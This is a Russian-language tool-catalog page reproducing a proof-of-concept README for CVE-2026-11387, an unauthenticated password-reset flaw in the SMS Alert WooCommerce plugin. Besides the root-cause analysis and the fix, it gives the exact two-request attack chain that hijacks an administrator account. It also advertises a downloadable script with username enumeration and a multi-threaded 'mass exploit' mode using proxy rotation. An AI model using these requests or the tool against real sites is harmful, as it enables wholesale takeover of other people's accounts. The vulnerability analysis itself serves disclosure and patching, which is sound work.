Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-11387 — Эксплойт proof-of-concept для CVE-2026-11387, неавторизованная уязвимость повышения привилегий в плагине SMS Alert WooCommerce через обход OTP и произвольный сброс пароля. | Kitploit
Инструменты/GitHubGitHub/1beelze/cve-2026-11387
Атаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеАутентификация
GitHub1beelze/cve-2026-11387

CVE-2026-11387

Эксплойт proof-of-concept для CVE-2026-11387, неавторизованная уязвимость повышения привилегий в плагине SMS Alert WooCommerce через обход OTP и произвольный сброс пароля.

Репозиторий
11 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-11387 — SMS Alert ≤ 3.9.5

☆ Неаутентифицированное повышение привилегий через произвольный сброс пароля ☆
=== Beelze ===


📋 Информация об уязвимости

ПолеДетали
CVE IDCVE-2026-11387
Оценка CVSS9.8 Critical
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ТипОтсутствие аутентификации / Обход OTP
ПлагинSMS Alert – OTP Verification for WooCommerce (sms-alert)
Затронутые версии≤ 3.9.5
Исправлено в3.9.6
Опубликовано2026
PoCBeelze

🔍 Описание

SMS Alert – OTP Verification for WooCommerce ≤ 3.9.5 уязвим для неаутентифицированного повышения привилегий через произвольный сброс пароля. Обработчик сброса пароля плагина проверяет действие сброса исключительно по значению $_REQUEST['option'] равному smsalert-change-password-form, не проверяя, был ли когда-либо завершён вызов OTP.

Критическая гонка в механизме заполнения сессии позволяет атакующему захватить любую учётную запись за два HTTP-запроса:

  1. POST на форму восстановления пароля с целевым user_login — это запускает smsalert_site_challenge_otp(), которая заполняет $_SESSION['user_login'] без подтверждения OTP.
  2. POST с option=smsalert-change-password-form и выбранным новым паролем — routeData() читает предварительно заполненный $_SESSION['user_login'] и безусловно вызывает reset_password().
  3. Вход с новыми учётными данными — захват учётной записи подтверждён.
  4. Атака не требует аутентификации, OTP или взаимодействия жертвы.
  5. Любая учётная запись WordPress — включая администраторскую — может быть захвачена, если у целевого пользователя зарегистрирован платёжный номер телефона в WooCommerce.

Воздействие: Полный неаутентифицированный захват любой учётной записи, у которой зарегистрирован платёжный номер телефона. Атакующий получает постоянный доступ с ролью и привилегиями жертвы.


🧬 Анализ первопричины

1. Регистрация AJAX-хука без привилегий

root@kitploit:~
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp',      [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );

2. Вызов OTP заполняет сессию без проверки

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
    $user_login = sanitize_text_field( $_REQUEST['user_login'] );
    $user       = get_user_by( 'login', $user_login )
               ?: get_user_by( 'email', $user_login );

    if ( $user ) {
        // ❌ $_SESSION['user_login'] устанавливается ЗДЕСЬ — до проверки OTP
        $_SESSION['user_login']      = $user->user_login;
        $_SESSION['smsalert_otp']    = $this->generate_otp();
        $_SESSION[self::SESSION_VAR] = 'otp_sent';  // НЕ 'validated'
        $this->send_otp( $user );
    }
}

3. routeData() проверяет только $_REQUEST['option'] — без защиты состояния сессии

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ❌ ОТСУТСТВУЕТ: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
        $this->reset_password();
    }
}

4. reset_password() выполняется безусловно, используя предварительно заполненную сессию

root@kitploit:~
// handler/forms/class-wpresetpassword.php
private function reset_password() {
    $user_login = $_SESSION['user_login'] ?? '';  // отравлен smsalert_site_challenge_otp()
    $new_pass   = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
    $confirm    = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );

    if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }

    $user = get_user_by( 'login', $user_login );
    if ( $user ) {
        wp_set_password( $new_pass, $user->ID );  // ✅ пароль изменён — OTP не требуется
        wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
        exit;
    }
}

5. Исправление в версии 3.9.6 — добавлена проверка состояния сессии

root@kitploit:~
// handler/forms/class-wpresetpassword.php (исправлено)
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ✅ ИСПРАВЛЕНО: OTP должен быть подтверждён перед разрешением сброса
        if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
            wp_die( 'OTP verification required.' );
        }
        $this->reset_password();
    }
}

⚔️ Цепочка атаки

root@kitploit:~
Attacker (no auth)
     │
     │  POST /my-account/lost-password/
     │  body: user_login=admin
     ▼
┌─────────────────────────────────────────┐
│  smsalert_site_challenge_otp()          │
│  → $_SESSION['user_login'] = 'admin'   │  ← сессия отравлена 💀
│  → $_SESSION[SESSION_VAR] = 'otp_sent' │
│  → OTP отправлен на телефон жертвы       │
│  (атакующий никогда не видит OTP)        │
└─────────────────────────────────────────┘
     │
     │  POST /my-account/lost-password/
     │  body: option=smsalert-change-password-form
     │        smsalert_user_newpwd=Pwned123!
     │        smsalert_user_cnfpwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  routeData()                            │
│  → проверяет только $_REQUEST['option'] │
│  → проверка SESSION_VAR: ПРОПУЩЕНА ❌  │
│  → вызывается reset_password()          │
│  → wp_set_password('admin', newpwd)     │  ← пароль изменён 😈
└─────────────────────────────────────────┘
     │
     │  POST /wp-login.php
     │  log=admin  pwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  Вход УСПЕШЕН                           │
│  Установлен cookie wordpress_logged_in_*│  ← ЗАХВАТ ПОДТВЕРЖДЁН 💀
└─────────────────────────────────────────┘

🛠️ Инструменты

CVE-2026-11387.py — Полная цепочка эксплойта

root@kitploit:~
# Single target exploit
python CVE-2026-11387.py
# → Mode 1, enter target URL + username

# Username enumeration only
python CVE-2026-11387.py
# → Mode 2

# Mass exploit (multi-threaded + proxy rotation)
python CVE-2026-11387.py
# → Mode 3, targets.txt, threads, proxy file

# Fingerprint only (no exploit)
python CVE-2026-11387.py
# → Mode 4, outputs CSV
root@kitploit:~
Exploit Phases:
  Phase 1 — Reachability check + HTTP fallback
  Phase 2 — Version fingerprint via readme.txt
  Phase 3 — Username enumeration (REST API / sitemap / author archive)
  Phase 4 — OTP challenge trigger (session poisoning)
  Phase 5 — Password reset via routeData() bypass
  Phase 6 — Login verification (wordpress_logged_in_* cookie)
root@kitploit:~
Sample output (scan_results/CVE-2026-11387_success.txt):
  [2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa

🔒 Меры защиты

Обновите SMS Alert до версии 3.9.6 или новее.


[Beelze] — для образовательных и авторизованных исследований безопасности

Скачать инструмент